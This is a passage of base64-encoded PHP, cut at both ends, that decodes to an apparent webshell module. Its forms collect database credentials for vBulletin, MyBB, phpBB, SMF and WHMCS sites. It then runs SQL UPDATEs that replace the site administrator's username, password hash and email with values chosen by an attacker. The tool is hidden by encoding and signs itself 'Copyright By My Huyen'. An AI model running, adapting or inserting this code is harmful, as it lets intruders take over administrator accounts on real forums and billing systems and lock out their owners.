ScgPjxicj4KICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaHZiID0gJF9QT1NUWydkYmh2YiddOwokZGJudmIgID0gJF9QT1NUWydkYm52YiddOwokZGJ1dmIgPSAkX1BPU1RbJ2RidXZiJ107CiRkYnB2YiAgPSAkX1BPU1RbJ2RicHZiJ107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmh2YiwkZGJ1dmIsJGRicHZiKTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudmIpOwoKJHVydmI9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVydmIpOwoKJHNldF91cnZiID0gJF9QT1NUWyd1cnZiJ107CgokcHN2Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHN2Yik7CiRwYXNzX3ZiID0gJF9QT1NUWydwc3ZiJ107CgokZW12Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkZW12Yik7CiRzZXRfZW12YiA9ICRfUE9TVFsnZW12YiddOwoKJHZiX3ByZWZpeCA9ICRfUE9TVFsncHJ2YiddOwoKJHRhYmxlX25hbWUgPSAkdmJfcHJlZml4LiJ1c2VyIiA7CgokcXVlcnkgPSAnc2VsZWN0ICogZnJvbSAnIC4gJHRhYmxlX25hbWUgLiAnIHdoZXJlIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsKCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOwokcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiRzYWx0ID0gJHJvd1snc2FsdCddOwokcGFzczIgPSBtZDUoJHBhc3NfdmIpOwokcGFzcyA9JHBhc3MyIC4gJHNhbHQ7Cgokc2V0X3Bzc2FsdCA9IG1kNSgkcGFzcyk7CgokbGVjb25ndGhpZW4xID0gJ1VQREFURSAnIC4gJHRhYmxlX25hbWUgLiAnIFNFVCBwYXNzd29yZD0iJyAuICRzZXRfcHNzYWx0IC4gJyIgV0hFUkUgdXNlcm5hbWU9IicgLiAkc2V0X3VydmIgLiAnIjsnOwokbGVjb25ndGhpZW4yID0gJ1VQREFURSAnIC4gJHRhYmxlX25hbWUgLiAnIFNFVCBlbWFpbD0iJyAuICRzZXRfZW12YiAuICciIFdIRVJFIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsKCiRvazE9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEpOwokb2sxPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4yKTsKCmlmKCRvazEpewplY2hvICI8c2NyaXB0PmFsZXJ0KCd2QnVsbGV0aW4gdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KCi8vTXlCQgppZiAoaXNzZXQoJF9QT1NUWydteWJiJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBNeUJCIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luYy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPgogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1teWJiIHR5cGU9dGV4dCBuYW1lPWRibm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidW15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBFLW1haWwgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT15b3VyLWVtYWlsQHh4eC5jb20gdHlwZT10ZXh0IG5hbWU9ZW1teSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1teWJiXyB0eXBlPXRleHQgbmFtZT1wcm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaG15ID0gJF9QT1NUWydkYmhteSddOwokZGJubXkgID0gJF9QT1NUWydkYm5teSddOwokZGJ1bXkgPSAkX1BPU1RbJ2RidW15J107CiRkYnBteSAgPSAkX1BPU1RbJ2RicG15J107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhteSwkZGJ1bXksJGRicG15KTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJubXkpOwoKJHVybXk9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVybXkpOwokc2V0X3VybXkgPSAkX1BPU1RbJ3VybXknXTsKCiRlbW15PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRlbW15KTsKJHNldF9lbW15ID0gJF9QT1NUWydlbW15J107CgokbXlfcHJlZml4ID0gJF9QT1NUWydwcm15J107CgokdGFibGVfbmFtZTEgPSAkbXlfcHJlZml4LiJ1c2VycyIgOwoKJGxlY29uZ3RoaWVuMyA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCB1c2VybmFtZSA9JyIuJHNldF91cm15LiInIFdIRVJFIHVpZCA9JzEnIjsKJGxlY29uZ3RoaWVuNCA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCBlbWFpbCA9JyIuJHNldF9lbW15LiInIFdIRVJFIHVpZCA9JzEnIjsKCiRvazI9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjMpOwokb2syPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW40KTsKCmlmKCRvazIpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdNeUJCIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL3BocEJCCmlmIChpc3NldCgkX1BPU1RbJ3BocGJiJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwaHBCQiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbTxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXBocGJiIHR5cGU9dGV4dCBuYW1lPWRibnBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9cGFzc3dvcmQgbmFtZT1wc3BocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYl8gdHlwZT10ZXh0IG5hbWU9cHJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJocGhwID0gJF9QT1NUWydkYmhwaHAnXTsKJGRibnBocCAgPSAkX1BPU1RbJ2RibnBocCddOwokZGJ1cGhwID0gJF9QT1NUWydkYnVwaHAnXTsKJGRicHBocCAgPSAkX1BPU1RbJ2RicHBocCddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJocGhwLCRkYnVwaHAsJGRicHBocCk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibnBocCk7CgokdXJwaHA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVycGhwKTsKJHNldF91cnBocCA9ICRfUE9TVFsndXJwaHAnXTsKCiRwc3BocD1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNwaHApOwokcGFzc19waHAgPSAkX1BPU1RbJ3BzcGhwJ107CiRzZXRfcHNwaHAgPSBtZDUoJHBhc3NfcGhwKTsKCiRwaHBfcHJlZml4ID0gJF9QT1NUWydwcnBocCddOwoKJHRhYmxlX25hbWUyID0gJHBocF9wcmVmaXguInVzZXJzIiA7CgokbGVjb25ndGhpZW41ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kc2V0X3VycGhwLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjYgPSAiVVBEQVRFICR0YWJsZV9uYW1lMiBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJHNldF9wc3BocC4iJyBXSEVSRSB1c2VyX2lkID0nMiciOwoKJG9rMz1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNSk7CiRvazM9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjYpOwoKaWYoJG9rMyl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ3BocEJCIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL1NNRgppZiAoaXNzZXQoJF9QT1NUWydzbWYnXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFNNRiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2luZGV4LnBocD9hY3Rpb249YWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL1NldHRpbmdzLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXNtZiB0eXBlPXRleHQgbmFtZT1kYm5zbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1c21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIEUtbWFpbCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXlvdXItZW1haWxAeHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1zbWZfIHR5cGU9dGV4dCBuYW1lPXByc21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaHNtZiA9ICRfUE9TVFsnZGJoc21mJ107CiRkYm5zbWYgID0gJF9QT1NUWydkYm5zbWYnXTsKJGRidXNtZiA9ICRfUE9TVFsnZGJ1c21mJ107CiRkYnBzbWYgID0gJF9QT1NUWydkYnBzbWYnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHNtZiwkZGJ1c21mLCRkYnBzbWYpOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm5zbWYpOwoKJHVyc21mPXN0cl9yZXBsYWNlKCJcJyIsIiciLCR1cnNtZik7CiRzZXRfdXJzbWYgPSAkX1BPU1RbJ3Vyc21mJ107CgokZW1zbWY9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJGVtc21mKTsKJHNldF9lbXNtZiA9ICRfUE9TVFsnZW1zbWYnXTsKCiRzbWZfcHJlZml4ID0gJF9QT1NUWydwcnNtZiddOwoKJHRhYmxlX25hbWUzID0gJHNtZl9wcmVmaXguIm1lbWJlcnMiIDsKCiRsZWNvbmd0aGllbjcgPSAiVVBEQVRFICR0YWJsZV9uYW1lMyBTRVQgbWVtYmVyX25hbWUgPSciLiRzZXRfdXJzbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwokbGVjb25ndGhpZW44ID0gIlVQREFURSAkdGFibGVfbmFtZTMgU0VUIGVtYWlsX2FkZHJlc3MgPSciLiRzZXRfZW1zbWYuIicgV0hFUkUgaWRfbWVtYmVyID0nMSciOwoKJGxlY29uZ3RoaWVuNyA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBtZW1iZXJOYW1lID0nIi4kc2V0X3Vyc21mLiInIFdIRVJFIElEX01FTUJFUiA9JzEnIjsKJGxlY29uZ3RoaWVuOCA9ICJVUERBVEUgJHRhYmxlX25hbWUzIFNFVCBlbWFpbEFkZHJlc3MgPSciLiRzZXRfZW1zbWYuIicgV0hFUkUgSURfTUVNQkVSID0nMSciOwoKJG9rND1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNyk7CiRvazQ9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjgpOwoKaWYoJG9rNCl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1NNRiB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9XSE1DUwppZiAoaXNzZXQoJF9QT1NUWyd3aG1jcyddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgV0hNQ1MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJod2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT13aG1jcyB0eXBlPXRleHQgbmFtZT1kYm53aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1d2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJ3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN3aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJod2htID0gJF9QT1NUWydkYmh3aG0nXTsKJGRibndobSAgPSAkX1BPU1RbJ2RibndobSddOwokZGJ1d2htID0gJF9QT1NUWydkYnV3aG0nXTsKJGRicHdobSAgPSAkX1BPU1RbJ2RicHdobSddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJod2htLCRkYnV3aG0sJGRicHdobSk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibndobSk7CgokdXJ3aG09c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyd2htKTsKJHNldF91cndobSA9ICRfUE9TVFsndXJ3aG0nXTsKCiRwc3